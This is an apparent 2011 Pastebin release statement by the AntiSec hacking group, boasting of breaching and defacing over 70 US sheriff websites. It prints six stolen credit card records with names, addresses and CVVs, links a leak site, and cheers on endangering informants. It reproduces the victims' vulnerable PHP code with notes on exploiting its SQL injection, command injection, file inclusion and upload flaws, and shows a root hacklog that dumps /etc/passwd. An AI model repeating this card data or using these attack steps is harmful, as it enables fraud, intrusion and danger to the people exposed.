Pastebin launched a little side project called VERYVIRAL.com, check it out ;-) Want more features on Pastebin? Sign Up, it's FREE!

Shooting Sheriffs Saturday | Official Release Statement

By: voice on Aug 5th, 2011  |  syntax: None  |  size: 167.08 KB  |  views: 36,511  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1.                                                `..--.                          
  2.                                           `:.#antisec#;:                        
  3.                                          :antisec#anti;+.`                      
  4.                                          :sec#antisec#a;/:                      
  5.                                          ntisec#antisec#+a                      
  6.                                          .ntisec#antisec;:                      
  7.       `-`                                 +#antisec#anti:s/                    
  8.  /.:+:/+.`..`                             `;+;ec#antisec::+                    
  9.   :.;;+`-./-:`                            .+:#antisec#anti-++`                  
  10.    `-` -:.``;                          `:.+.sec#antisec#a:  -;-                
  11.       `;   -:::.                   `-:+..;/:ntisec#an.-` :+``+-                
  12.       `.+-  `./;.-            `-/++++:`.:-;tisec#anti++   -s;`/;//-            
  13.         `-:`    .-:-        /::+-`      :/+;ec#ant;i;/..   ;s:.;:++.:          
  14.           `/      .:`     `;:/`          .+..+///:::/:.    /:e;c#a:;/+-`        
  15.        `:+..      ..   .:.;n+/++.         `---...````      `tisec#an:/:++-      
  16.      -::-`    `.--`  -t:./;:ise./.`..                  .:+.;;c#antisec#:.;;    
  17.     +-      .::.`  .;:.;antisec;.+;;+`                 .--:;..:.#;antisec;;/    
  18.    `.`   `++-`   ./;;#antisec#a;:nt;i+.`         `         ;.    `-;sec#an:.`  
  19.     .:.  .;-`    t+.isec#;a:;:;;nt;i+::.-``  ..:-`         ..      .;sec#a+:.  
  20.      --::...;    ..;ntise+c;:-`  :;.-`:++.+//:-           `/        `;#ant;+:  
  21.        ./:::.:   +::isec;#.      `an..                 .-/.;          -tisec/  
  22.         `.+.::/``/+:#an:;.        .ti+`            `./;;:`;+           sec#.+`  
  23.            /anti:;..sec#;          .an.         `-+.;+::.-..          ti;+:`:;`
  24.            /sec#antise/c           `#a-     ``-;..//+.+:.-.          -ntis:::/;
  25.            ec#antisec#:+            /a.    ////+//./..+++..`         `;nti./:`:`
  26.            `sec#antisec#/           /;:+///...+:/.//;;;:././+-         `;ant+/;`
  27.              isec#antis;.         `;ec#antisec#antisec#ant:.:;;.         :/:-`  
  28.               isec#antis:        -;ec#antisec#antisec#anti;.- .;/              
  29.               /sec#antise/       c#antisec#antisec#antis.:-`    .              
  30.                /;;ec#an::.       tise.`                                        
  31.                 `+.c#..+`        ;+-.;`                                        
  32.                                   `:/:          
  33.                                  
  34.       "Alright Dirty, yall boys ready? Bout to turn drive-bys revolutionary"
  35.                                  
  36. ////////////////////////////////////////////////////////////////////////////////
  37. ## #FREETOPIARY #FREEMERCEDES #FREEBRADLEYMANNING #SHOOTINNGSHERIFFSSATURDAY ###
  38. ### OWN & RM ### OWN & RM ### OWN & RM ### OWN & RM ### OWN & RM ### OWN & RM ##
  39. ////////////////////////////////////////////////////////////////////////////////
  40.  
  41.       _  _                   __  .__                      
  42.    __| || |__ _____    _____/  |_|__| ______ ____   ____        #anonymous
  43.    \   __   / \__  \  /    \   __\  |/  ___// __ \_/ ___\       #antisec
  44.     |  ||  |   / __ \|   |  \  | |  |\___ \\  ___/\  \___       #lulzsec
  45.    /_  ~~  _\ (____  /___|  /__| |__/____  >\___  >\___  >      #freetopiary
  46.      |_||_|        \/     \/             \/     \/     \/       #SSS
  47.  
  48.  
  49. ////////////////////////////////////////////////////////////////////////////////
  50. ANTISEC DELIVERS OVER 10GB OF PRIVATE POLICE EMAILS, TRAINING FILES, SNITCH INFO
  51. AND PERSONAL INFO IN RETALIATION FOR ANONYMOUS ARRESTS #ShootingSheriffsSaturday
  52. ////////////////////////////////////////////////////////////////////////////////
  53.  
  54. "Missouri Sheriff's Association Executive Director Mick Covington tells KHQA
  55. that the most the hackers got from their organization were email addresses.
  56. Contrary to AntiSec's announcement, there were no critical details like names,
  57. social security numbers or other personal information details on their server
  58. that was hacked."  (DOX AND EMAILS DROPPED)
  59. (http://www.connecttristates.com/news/story.aspx?id=646614)
  60.  
  61. "Based upon past releases of information, the content of these releases are
  62. sometimes manipulated and edited in an attempt of embarrass or discredit
  63. government agencies and law enforcement. Also in their release, they threaten to
  64. publish the names of inmates and confidential informants. Informant and other
  65. sensitive data are not kept on the website, and we believe any information that
  66. would be released would be false in an attempt to hinder future investigations
  67. by law enforcement." - Sheriff John Montgomery   (MORE DOX DROPPED)
  68. (http://www.baxterbulletin.com/article/20110801/NEWS01/110801001/BC-Sheriff-
  69. Website-hacked?odyssey=tab|topnews|text|FRONTPAGE)
  70.  
  71. "President of the Missouri Sheriff's Association Steve Cox said he thinks the
  72. hackers claim to have more information than they really do. Cox said the group
  73. just wants glory and fame." (DOX AND SSN DROPPED)
  74. (http://www.komu.com/news/update-group-hacks-missouri-sheriff-s-association/)
  75.  
  76. "Sheriff Joe Guy says, "We've not lost any information. There's no, we've not
  77. been hacked. I think that's been a fear. No sensitive information is on that
  78. website anyway." (DOX AND EMAILS DROPPED AGAIN)
  79. http://wdef.com/news/mcminn_county_sheriffs_department_website/08/2011
  80.  
  81. ////////////////////////////////////////////////////////////////////////////////
  82.  
  83. A week after we defaced and destroyed the websites of over 70 law enforcement
  84. agencies, we are releasing a massive amount of confidential information that is
  85. sure to embarass, discredit and incriminate police officers across the US. Over
  86. 10GB of information was leaked including hundreds of private email spools,
  87. password information, address and social security numbers, credit card numbers,
  88. snitch information, training files, and more. We hope that not only will
  89. dropping this info demonstrate the inherently corrupt nature of law enforcement
  90. using their own words, as well as result in possibly humiliation, firings, and
  91. possible charges against several officers, but that it will also disrupt and
  92. sabotage their ability to communicate and terrorize communities.
  93.  
  94. We are doing this in solidarity with Topiary and the Anonymous PayPal LOIC
  95. defendants as well as all other political prisoners who are facing the gun of
  96. the crooked court system. We stand in support of all those who struggle against
  97. the injustices of the state and capitalism using whatever tactics are most
  98. effective, even if that means breaking their laws in order to expose their
  99. corruption. You may bust a few of us, but we greatly outnumber you, and you can
  100. never stop us from continuing to destroy your systems and leak your data.
  101.  
  102. We have no sympathy for any of the officers or informants who may be endangered
  103. by the release of their personal information. For too long they have been using
  104. and abusing our personal information, spying on us, arresting us, beating us,
  105. and thinking that they can get away with oppressing us in secrecy. Well it's
  106. retribution time: we want them to experience just a taste of the kind of misery
  107. and suffering they inflict upon us on an everyday basis. Let this serve as a
  108. warning to would-be snitches and pigs that your leaders can no longer protect
  109. you: give up and turn on your masters now before it's too late.
  110.  
  111. // A TALE OF TWO OWNINGS
  112.  
  113. It took less than 24 hours to root BJM's server and copy all their data to our
  114. private servers. Soon after, their servers were taken down and a news article
  115. came out suggesting they received advance FBI "credible threat" notice of a
  116. "hacking plot". At this point it was too late for them because the stolen files
  117. were gonna get leaked regardless. However we were surprised and delighted to see
  118. that not only did they relaunch a few sites less than a week later, but that
  119. their "bigger, faster server that offers more security" carried over our
  120. backdoors from their original box. This time we were not going to hesitate to
  121. pull the trigger: in less than an hour we rooted their new server and defaced
  122. all 70+ domains while their root user was still logged in and active.
  123.  
  124. We lol'd as we watched the news reports come in, quoting various Sheriffs who
  125. denied that they were ever hacked, that any personal information was stolen,
  126. that they did not store snitch info on their servers. Many lulz have been had as
  127. we taunted the sheriffs by responding to their denials by tweeting teasers
  128. exposing their SSNs, passwords, addresses, and private emails. We also took the
  129. liberty to backdoor their online store and capture a few credit card numbers,
  130. which were used to make involuntary donations to the ACLU, the EFF, the Bradley
  131. Manning Support Network, and more. Despite active FBI investigations and their
  132. additional security measures, they could not stop us from owning their servers,
  133. stealing their identities, and dropping all their data. Two weeks later only a
  134. few of the sites are up with limited functionality as we scared them into
  135. removing any dynamic PHP scripts, forcing them to use static HTML content.
  136.  
  137. A recent DHS bulletin has called us "script kiddies" that lack "any capability
  138. to inflict damage to critical infrastructure" yet we continue to get in and out
  139. of any system we please, destroying and dropping dox on the mightiest of
  140. government systems that are supposed to be protecting their sick nightmare of
  141. "law and order". GIVE UP. You are losing the cyberwar, and the attacks against
  142. the governments, militaries, and corporations of the world will continue to
  143. escalate.
  144.  
  145. Hackers, join us to make 2011 the year of leaks and revolutions.
  146.  
  147. ////////////////////////////////////////////////////////////////////////////////
  148.  
  149.    [*] ORIGINAL DEFACEMENT: http://zone-h.org/mirror/id/14515221)
  150.    [*] BROWSE THE LEAK:     http://vv7pabmmyr2vnflf.onion/          (ON TOR)
  151.                             http://vv7pabmmyr2vnflf.tor2web.com/    (NOT TOR)
  152.                          
  153.    [*] DONATE BITCOINS:     18NHixaoQekQJ3y52aBGJJwgBWX9X3myYR
  154.  
  155.  The booty contains:
  156.  
  157.    [*] Over 300 mail accounts from 56 law enforcement domains
  158.    [*] Missouri Sheriff account dump (mosheriffs.com)
  159.        7000+ usernames, passwords, home addresses, phones and SSNs
  160.    [*] Online Police Training Academy files
  161.        PDFs, videos, HTML files
  162.    [*] "Report a Crime" snitch list compilation (60+ entries)
  163.    [*] Plesk plaintext server passwords (ftp/ssh, email, cpanel, protected dirs)
  164.    
  165. ////////////////////////////////////////////////////////////////////////////////
  166.  
  167. Over 70 US law enforcement institutions were attacked including:
  168.  
  169. 20jdpa.com, adamscosheriff.org, admin.mostwantedwebsites.net,
  170. alabamasheriffs.com, arkansassheriffsassociation.com,
  171. bakercountysheriffoffice.org, barrycountysheriff.com, baxtercountysheriff.com,
  172. baxtercountysherifffoundation.org, boonecountyar.com, boonesheriff.com,
  173. cameronso.org, capecountysheriff.org, cherokeecountyalsheriff.com,
  174. cityofgassville.org, cityofwynne.com, cleburnecountysheriff.com,
  175. coahomacountysheriff.com, crosscountyar.org, crosscountysheriff.org,
  176. drewcountysheriff.com, faoret.com, floydcountysheriff.org, fultoncountyso.org,
  177. georgecountymssheriff.com, grantcountyar.com, grantcountysheriff-collector.com,
  178. hodgemansheriff.us, hotspringcountysheriff.com, howardcountysheriffar.com,
  179. izardcountyar.org, izardcountysheriff.org, izardhometownhealth.com,
  180. jacksonsheriff.org, jeffersoncountykssheriff.com, jeffersoncountyms.gov,
  181. jocomosheriff.org, johnsoncosheriff.com, jonesso.com, kansassheriffs.org,
  182. kempercountysheriff.com, knoxcountysheriffil.com, lawrencecosheriff.com,
  183. lcsdmo.com, marioncountysheriffar.com, marionsoal.com, mcminncountysheriff.com,
  184. meriwethercountysheriff.org, monroecountysheriffar.com, mosheriffs.com,
  185. mostwantedgovernmentwebsites.com, mostwantedwebsites.net,
  186. newtoncountysheriff.org, perrycountysheriffar.org, plymouthcountysheriff.com,
  187. poalac.org, polkcountymosheriff.org, prairiecountysheriff.org,
  188. prattcountysheriff.com, prentisscountymssheriff.com, randolphcountysheriff.org,
  189. rcpi-ca.org, scsosheriff.org, sebastiancountysheriff.com, sgcso.com,
  190. sharpcountysheriff.com, sheriffcomanche.com, stfranciscountyar.org,
  191. stfranciscountysheriff.org, stonecountymosheriff.com, stonecountysheriff.com,
  192. talladegasheriff.org, tatecountysheriff.com, tishomingocountysheriff.com,
  193. tunicamssheriff.com, vbcso.com, woodsonsheriff.com
  194.  
  195. ////////////////////////////////////////////////////////////////////////////////
  196.  
  197. Stolen Credit Card information from mosheriffs.com online store:
  198.  
  199. Jeremy,Searcy,jeremy@pfimo.com,417-887-3626,MasterCard,5191000109460087,2,2014,
  200. 102,3526 W Nichols,,Springfield,MO,65803
  201.  
  202. Robert,Zoellr,Cabot46@aol.com,954-529-0840,Visa,4388540016715210,11,2012,501,401
  203. E Las Olas Blvd ,Suite 130-143,FT Lauderdale ,FL,33301,571 Elbow Cay
  204. Drive,Camden,Osage Beach,MO,65065
  205.  
  206. Jeffrey,Thomas,chymoda3@aol.com,573-529-1836,MasterCard,5109820390825461,2,2013,
  207. 768,417 North Locust Street,,Richland,MO,65556
  208.  
  209. nathan,vails,dalebud2004@sbcglobal.net,573-225-3010,Visa,4607174190144503,7,2013
  210. ,237,35984 Hwy 25,,malden,MO,63863
  211.  
  212. David,Yingling,dyingling@sbcglobal.net,573-335-5286,MasterCard,5200011252796077,
  213. 5,2014,739,617 Peironnet Drive,,Cape Girardeau,MO,63701
  214.  
  215. Mark,Bell,Mark@jailbaitcyclesandrods.com,417 830
  216. 3410,MasterCard,5441840150712888,5,2012,094,8117 West Farm Road
  217. 168,,Republic,MO,65738
  218.  
  219. ////////////////////////////////////////////////////////////////////////////////
  220. For the Blackhat & DEFCON conferences, we figure yall should hear it straight
  221. from some real black hats. It's time to bust out the old school hacklog and mock
  222. how vulnerable and insecure our enemies in blue really are.
  223. ////////////////////////////////////////////////////////////////////////////////
  224.  
  225. ////////////////////////////////////////////////////////////////////////////////
  226. // CONNECT.PHP
  227. // SAFE_QUERY()... WAY TO MAKE SQL INJECTIONS WORSE BY NOT VALIDATING INPUT ...
  228. // BUT INSTEAD PASSING RAW INPUT TO SHELL_EXEC() ALLOWING COMMAND EXECUTION !!!
  229. ////////////////////////////////////////////////////////////////////////////////
  230.  
  231. <?
  232. $i = 0;
  233. $path = '';
  234. while(!is_file($path."admin/config/classes/dymin_main.php")){
  235.         $path .= '../';
  236.         $i++;
  237.         if($i>10){
  238.                 $path = '';
  239.                 break;
  240.         }
  241. }
  242. include($path."admin/config/dymin_config.php");
  243.  
  244. function safe_query($query){
  245.         if(strpos(getcwd(),'admin')){
  246.                 shell_exec("echo '".date("Y-m-d H:i:s")."|".$query."' >>
  247. /var/sql_logs/".str_replace("www.","",$_SERVER['HTTP_HOST'].""));
  248.         }
  249.      $database = DATABASE;
  250.      $username = DATABASE_USER;
  251.      $password = DATABASE_PASS;
  252.      $destination = DATABASE_HOST;
  253.      mysql_connect($destination, $username, $password) or die("<br>Unable to
  254. connect to database: <br>". mysql_error());
  255.      mysql_select_db($database) or die ("<br> Unable to select
  256. database[$database]: <br>" . mysql_error());
  257.      $result = mysql_query($query);
  258.      return $result;
  259. }
  260. ?>
  261.  
  262.  
  263. ////////////////////////////////////////////////////////////////////////////////
  264. //  VERIFY_LOGIN.PHP
  265. //  ITS BEEN A HOT MINUTE SINCE I'VE SEEN ' OR 'a'='a SQL INJECTIONS WORK
  266. //  BUT BJM NEVER FAILS TO DELIVER THE MOST OBVIOUS OF VULNERABILITIES
  267. ////////////////////////////////////////////////////////////////////////////////
  268.  
  269. <?php
  270. session_start();
  271. $username = $_GET['username'];
  272. $password = $_GET['password'];
  273.  
  274. include "../config/connect.php";
  275. sleep(2);
  276. $query = "select * from dymin_user where username = '$username' and password =
  277. '$password'";
  278. $result = safe_query($query);
  279.  
  280. $num = mysql_num_rows($result);
  281. if($num == ''){
  282. echo "<img src=\"images/login_deny.gif\">";
  283. }else{
  284.         $id = mysql_result($result,0,'id');
  285.         $level = mysql_result($result,0,'level');
  286.         $_SESSION['user_id'] = $id;
  287.         $_SESSION['username'] = $username;
  288.         $_SESSION['password'] = $password;
  289.         $_SESSION['level'] = $level;
  290. }
  291. ?>
  292.  
  293.  
  294. ////////////////////////////////////////////////////////////////////////////////
  295. //  RENAME_FILE.PHP
  296. //  PASSING RAW USER-SUPPLIED INPUT TO RENAME AND INCLUDE FUNCTIONS ...
  297. //  TWO VULNERABILITIES FOR THE PRICE OF ONE!!
  298. ////////////////////////////////////////////////////////////////////////////////
  299.  
  300. <?
  301. error_reporting(E_ALL);
  302. ini_set('display_errors', '1');
  303. include "../../admin/config/connect.php";
  304.  
  305. $filename = $_POST['name'];
  306. $type = $_POST['type'];
  307. $uploads_dir_path_with_date = '../../uploads/'.date("Ymd").'/';
  308. $uploads_dir_path = '../../uploads/'.date("Ymd").'/';
  309. $uploads_dir_path_no_date = '../../uploads/';
  310. if(!is_file($uploads_dir_path_no_date.'log.txt')){
  311.         $fh = fopen("$uploads_dir_path_no_date"."log.txt",'w');
  312.         shell_exec("chmod 777 $uploads_dir_path_with_date"."log.txt");
  313.         fclose($fh);
  314. }
  315.  
  316. if(!is_dir($uploads_dir_path_with_date)){
  317.         mkdir($uploads_dir_path_with_date,'0777');
  318.         shell_exec("chmod 777 $uploads_dir_path_with_date");
  319. }
  320. $id = $_GET['id'];
  321.  
  322. $new_name = md5(microtime().$filename.mt_rand(10000, 32000));
  323. rename("$uploads_dir_path_no_date$filename","$uploads_dir_path_with_date$
  324. new_name$type");
  325.  
  326. //write file upload log
  327. $fh = fopen("$uploads_dir_path_no_date"."log.txt",'a');
  328. $log_info = 'DATE: '.date("m-d-Y His")."\t";
  329. $log_info .= 'HTTP_HOST: '.$_SERVER['HTTP_HOST']."\t";
  330. $log_info .= 'REMOTE_ADDR: '.$_SERVER['REMOTE_ADDR']."\t";
  331. $log_info .= 'SCRIPT_FILENAME: '.$_SERVER['SCRIPT_FILENAME']."\t";
  332. $log_info .= 'OLD_FILENAME: '.$filename."\t";
  333. $log_info .= 'NEW_FILENAME: '.$new_name."\t\n";
  334. fwrite($fh,$log_info);
  335. fclose($fh);
  336. unset($fh,$log_info);
  337.  
  338. $file_to_include = $_GET['filename'];
  339.  
  340. include "$file_to_include";
  341. ?>
  342.  
  343. ////////////////////////////////////////////////////////////////////////////////
  344. //  UPLOADIFY.PHP
  345. //  WAY TO GO, COMMENTING OUT THE FILE EXTENSION VALIDATING CODE
  346. ////////////////////////////////////////////////////////////////////////////////
  347.  
  348. <?php
  349. if (!empty($_FILES)) {
  350.         $tempFile = $_FILES['Filedata']['tmp_name'];
  351.         $targetPath = $_SERVER['DOCUMENT_ROOT'] . $_REQUEST['folder'] . '/';
  352.         $targetFile =  str_replace('//','/',$targetPath) .
  353. $_FILES['Filedata']['name'];
  354.        
  355.         // $fileTypes  = str_replace('*.','',$_REQUEST['fileext']);
  356.         // $fileTypes  = str_replace(';','|',$fileTypes);
  357.         // $typesArray = split('\|',$fileTypes);
  358.         // $fileParts  = pathinfo($_FILES['Filedata']['name']);
  359.        
  360.         // if (in_array($fileParts['extension'],$typesArray)) {
  361.                 // Uncomment the following line if you want to make the directory if it
  362. doesn't exist
  363.                 // mkdir(str_replace('//','/',$targetPath), 0755, true);
  364.                
  365.                 move_uploaded_file($tempFile,$targetFile);
  366.                 echo "1";
  367.         // } else {
  368.         //      echo 'Invalid file type.';
  369.         // }
  370. }
  371. ?>
  372.  
  373. ////////////////////////////////////////////////////////////////////////////////
  374. // SHOW_IMAGE_DOWNLOAD.PHP
  375. // HEY LETS TAKE RAW USER INPUT AND PASS IT TO READFILE() ...
  376. // AT LEAST THEY HAD THE COURTESY OF VERIFYING IS_FILE() FOR US!!!
  377. ////////////////////////////////////////////////////////////////////////////////
  378.  
  379. <? include "config/header.php"; ?>
  380. <?php
  381. $filename = $_GET['filename'];
  382. if(is_file($filename)) {
  383. header("Pragma: public");
  384. header("Expires: 0");
  385. header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
  386. header("Content-Type: application/force-download");
  387. header("Content-Type: application/octet-stream");
  388. header("Content-Type: application/download");
  389. header("Content-Disposition: attachment; filename=".basename($filename).";");
  390. header("Content-Transfer-Encoding: binary");
  391. header("Content-Length: ".filesize($filename));
  392. readfile("$filename");
  393. exit();
  394. }
  395. ?>
  396.  
  397. ////////////////////////////////////////////////////////////////////////////////
  398. // UPLOAD_SCANNER.SH
  399. // UH OH... THEY ARE CLOSING IN ON OUR C99 SHELL!!!  PLEASE...
  400. ////////////////////////////////////////////////////////////////////////////////
  401.  
  402. #!/bin/bash
  403. #
  404. # Scan for PHP in upload folders
  405. #
  406. MAILTO="-c galexander@bjmweb.com -c markm@bjmweb.com -c bnewman@bjmweb.com root"
  407. EXCLUDES="-e watermark_wanted_photo.php -e checkimages.php -e
  408. watermark_recalled_photo.php"
  409. lineify (){
  410. for i in $*
  411. do
  412.   echo $i
  413. done
  414. }
  415. # testing
  416. #EXCLUDES="numnum"
  417. #MAILTO="jwiegand@bjmweb.com"
  418. #
  419. UHOH=$(/usr/bin/find /var/www/vhosts/*/httpdocs/uploads/*.php | \
  420.         grep -v $EXCLUDES)
  421. if [ "${UHOH}xx" != "xx" ]
  422. then
  423.         lineify $UHOH |  mail -s "Go Daddy - Upload Scanner" $MAILTO
  424.  
  425.  
  426. ////////////////////////////////////////////////////////////////////////////////
  427. // ENOUGH TALK... TIME TO RIDE ON THESE PIG MOTHAFUCKAS !!! BRING ON THE HACKLOG
  428. ////////////////////////////////////////////////////////////////////////////////
  429. $ ls -al /var/www/vhosts/
  430. total 332
  431. drwxr-xr-x 83 root root 4096 Jul 20 11:33 .
  432. drwxr-xr-x  9 root root 4096 Aug 30  2010 ..
  433. drwxr-xr-x  3 root root 4096 Dec 21  2009 .skel
  434. drwxr-xr-x 13 root root 4096 Apr  7  2010 20jdpa.com
  435. drwxr-xr-x 14 root root 4096 Jun 22 10:59 adamscosheriff.org
  436. drwxr-xr-x 13 root root 4096 Nov 30  2010 admin.mostwantedwebsites.net
  437. drwxr-xr-x 13 root root 4096 Nov 30  2010 alabamasheriffs.com
  438. drwxr-xr-x 14 root root 4096 May  3 09:44 arkansassheriffsassociation.com
  439. drwxr-xr-x 13 root root 4096 Nov 30  2010 bakercountysheriffoffice.org
  440. drwxr-xr-x 13 root root 4096 Apr  7  2010 barrycountysheriff.com
  441. drwxr-xr-x 14 root root 4096 Apr  7  2010 baxtercountysheriff.com
  442. drwxr-xr-x 14 root root 4096 Jun 10 09:59 baxtercountysherifffoundation.org
  443. drwxr-xr-x 13 root root 4096 Apr  7  2010 boonecountyar.com
  444. drwxr-xr-x 14 root root 4096 May 10  2010 boonesheriff.com
  445. drwxr-xr-x 13 root root 4096 Nov 30  2010 cameronso.org
  446. drwxr-xr-x 13 root root 4096 Nov 30  2010 capecountysheriff.org
  447. drwxr-xr-x 14 root root 4096 Apr  7  2010 cherokeecountyalsheriff.com
  448. drwxr-xr-x 13 root root 4096 Apr  7  2010 cherokeecountykssheriff.com
  449. drwxr-xr-x  9 root root 4096 Dec 21  2009 chroot
  450. drwxr-xr-x 14 root root 4096 May 19 11:36 cityofgassville.org
  451. drwxr-xr-x 13 root root 4096 Apr  7  2010 cityofwynne.com
  452. drwxr-xr-x 13 root root 4096 Apr  7  2010 cleburnecountysheriff.com
  453. drwxr-xr-x 13 root root 4096 May 26  2010 coahomacountysheriff.com
  454. drwxr-xr-x 13 root root 4096 Apr  7  2010 crosscountyar.org
  455. drwxr-xr-x 14 root root 4096 Apr  7  2010 crosscountysheriff.org
  456. drwxr-xr-x  5 root root 4096 Oct 16  2009 default
  457. drwxr-xr-x 13 root root 4096 Apr  7  2010 drewcountysheriff.com
  458. drwxr-xr-x 13 root root 4096 May 26  2010 faoret.com
  459. drwxr-xr-x 13 root root 4096 Nov 30  2010 floydcountysheriff.org
  460. drwxr-xr-x 14 root root 4096 Mar 24 10:11 fultoncountyso.org
  461. drwxr-xr-x 13 root root 4096 Nov 30  2010 georgecountymssheriff.com
  462. drwxr-xr-x 13 root root 4096 Apr  7  2010 grantcountyar.com
  463. drwxr-xr-x 13 root root 4096 Apr  7  2010 grantcountysheriff-collector.com
  464. drwxr-xr-x 13 root root 4096 Apr  7  2010 hodgemansheriff.us
  465. drwxr-xr-x 13 root root 4096 Apr  7  2010 hotspringcountysheriff.com
  466. drwxr-xr-x 14 root root 4096 Oct 19  2010 howardcountysheriffar.com
  467. drwxr-xr-x 13 root root 4096 Apr  7  2010 izardcountyar.org
  468. drwxr-xr-x 13 root root 4096 Apr  7  2010 izardcountysheriff.org
  469. drwxr-xr-x 13 root root 4096 Apr  7  2010 izardhometownhealth.com
  470. drwxr-xr-x 13 root root 4096 Apr  7  2010 jacksonsheriff.org
  471. drwxr-xr-x 14 root root 4096 Jun 30  2010 jeffersoncountykssheriff.com
  472. drwxr-xr-x 14 root root 4096 Feb  4 16:03 jeffersoncountyms.gov
  473. drwxr-xr-x 14 root root 4096 Apr  7  2010 jocomosheriff.org
  474. drwxr-xr-x 13 root root 4096 Apr  7  2010 johnsoncosheriff.com
  475. drwxr-xr-x 14 root root 4096 Jun 11  2010 jonesso.com
  476. drwxr-xr-x 14 root root 4096 Jun 24 16:36 kansassheriffs.org
  477. drwxr-xr-x 13 root root 4096 May 26  2010 kempercountysheriff.com
  478. drwxr-xr-x 13 root root 4096 Nov 30  2010 knoxcountysheriffil.com
  479. drwxr-xr-x 14 root root 4096 Apr  7  2010 lawrencecosheriff.com
  480. drwxr-xr-x 15 root root 4096 Jun  8 08:55 lcsdmo.com
  481. drwxr-xr-x 14 root root 4096 Jan 26 09:40 marioncountysheriffar.com
  482. drwxr-xr-x 13 root root 4096 Nov 30  2010 marionsoal.com
  483. drwxr-xr-x 13 root root 4096 Apr  7  2010 mcminncountysheriff.com
  484. drwxr-xr-x 13 root root 4096 Nov 30  2010 meriwethercountysheriff.org
  485. drwxr-xr-x 13 root root 4096 May 26  2010 monroecountysheriffar.com
  486. drwxr-xr-x 13 root root 4096 Apr  7  2010 mosheriffs.com
  487. drwxr-xr-x 13 root root 4096 Apr  7  2010 mostwantedgovernmentwebsites.com
  488. drwxr-xr-x 13 root root 4096 Apr  7  2010 mostwantedwebsites.net
  489. drwxr-xr-x 13 root root 4096 Apr  7  2010 newtoncountysheriff.org
  490. drwxr-xr-x 13 root root 4096 Nov 30  2010 perrycountysheriffar.org
  491. drwxr-xr-x 13 root root 4096 Apr  7  2010 plymouthcountysheriff.com
  492. drwxr-xr-x 14 root root 4096 Apr 21 08:36 poalac.org
  493. drwxr-xr-x 13 root root 4096 Apr  7  2010 polkcountymosheriff.org
  494. drwxr-xr-x 14 root root 4096 Dec  9  2010 prairiecountysheriff.org
  495. drwxr-xr-x 15 root root 4096 Jun  1  2010 prattcountysheriff.com
  496. drwxr-xr-x 14 root root 4096 Jun 10 13:49 prentisscountymssheriff.com
  497. drwxr-xr-x 13 root root 4096 Nov 30  2010 randolphcountysheriff.org
  498. drwxr-xr-x 14 root root 4096 May  6 09:25 rcpi-ca.org
  499. drwxr-xr-x 13 root root 4096 Apr  7  2010 scsosheriff.org
  500. drwxr-xr-x 13 root root 4096 Apr  7  2010 sebastiancountysheriff.com
  501. drwxr-xr-x 13 root root 4096 Nov 30  2010 sgcso.com
  502. drwxr-xr-x 13 root root 4096 Apr  7  2010 sharpcountysheriff.com
  503. drwxr-xr-x 14 root root 4096 Mar 23 11:41 sheriffcomanche.com
  504. drwxr-xr-x 14 root root 4096 Jun  6 13:54 stfranciscountyar.org
  505. drwxr-xr-x 14 root root 4096 Nov 30  2010 stfranciscountysheriff.org
  506. drwxr-xr-x 14 root root 4096 Nov 30  2010 stonecountymosheriff.com
  507. drwxr-xr-x 14 root root 4096 Oct 27  2010 stonecountysheriff.com
  508. drwxr-xr-x 14 root root 4096 Jun  9 11:51 talladegasheriff.org
  509. drwxr-xr-x 13 root root 4096 Apr  7  2010 tatecountysheriff.com
  510. drwxr-xr-x 13 root root 4096 Nov 30  2010 tishomingocountysheriff.com
  511. drwxr-xr-x 13 root root 4096 Apr  7  2010 tunicamssheriff.com
  512. drwxr-xr-x 14 root root 4096 Apr  7  2010 vbcso.com
  513. drwxr-xr-x 13 root root 4096 May 26  2010 woodsonsheriff.com
  514.  
  515. // DAMN THATS A LOT OF DOMAINS...  TOO BAD ZONE-H MASS DEFACEMENT NOTIFICATION
  516. // FORM ONLY ALLOWS YOU TO SUBMIT 10 PER REQUEST... GONNA TAKE FOREVER
  517.  
  518. $ cat /etc/passwd
  519. root:x:0:0:root:/root:/bin/bash
  520. bin:x:1:1:bin:/bin:/sbin/nologin
  521. daemon:x:2:2:daemon:/sbin:/sbin/nologin
  522. adm:x:3:4:adm:/var/adm:/sbin/nologin
  523. lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
  524. sync:x:5:0:sync:/sbin:/bin/sync
  525. shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
  526. halt:x:7:0:halt:/sbin:/sbin/halt
  527. mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
  528. news:x:9:13:news:/etc/news:
  529. uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
  530. operator:x:11:0:operator:/root:/sbin/nologin
  531. games:x:12:100:games:/usr/games:/sbin/nologin
  532. gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
  533. ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
  534. nobody:x:99:99:Nobody:/:/sbin/nologin
  535. rpm:x:37:37::/var/lib/rpm:/sbin/nologin
  536. dbus:x:81:81:System message bus:/:/sbin/nologin
  537. mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
  538. smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
  539. nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
  540. vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
  541. rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
  542. rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
  543. nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
  544. sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
  545. pcap:x:77:77::/var/arpwatch:/sbin/nologin
  546. haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
  547. webdept:x:500:500::/home/webdept:/bin/bash
  548. avahi:x:70:70:Avahi daemon:/:/sbin/nologin
  549. avahi-autoipd:x:100:101:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin
  550. named:x:25:25:Named:/var/named:/sbin/nologin
  551. xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin
  552. apache:x:48:48:Apache:/var/www:/sbin/nologin
  553. distcache:x:94:94:Distcache:/:/sbin/nologin
  554. mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
  555. ntp:x:38:38::/etc/ntp:/sbin/nologin
  556. sw-cp-server:x:501:501::/:/bin/true
